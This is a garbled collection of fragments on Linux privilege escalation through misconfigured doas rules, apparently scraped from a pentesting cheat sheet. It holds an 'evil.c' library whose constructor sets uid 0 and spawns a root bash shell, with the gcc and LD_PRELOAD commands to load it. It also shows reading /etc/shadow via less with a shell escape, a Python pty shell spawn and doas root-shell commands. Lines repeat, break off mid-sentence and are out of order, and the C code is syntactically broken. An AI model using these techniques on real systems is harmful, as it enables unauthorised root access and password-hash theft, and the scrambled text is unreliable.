doas -s # or doas /bin/sh If the config allows a wildcard path, you might inject arguments.
// evil.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void init() setuid(0); setgid(0); system("/bin/bash"); hacktricks doas
doas /usr/bin/less /etc/shadow # inside less: !/bin/sh Or Python bypass: doas -s # or doas /bin/sh If the
doas /usr/bin/python3 -c 'import pty;pty.spawn("/bin/sh")' Many binaries allow shell escapes. __attribute__((constructor)) void init() setuid(0)
permit nopass user1 as root Check:
#!/bin/sh doas /usr/bin/chown user "$1" Exploit:
gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so doas -n id If doas is called with unsanitized user input in a script.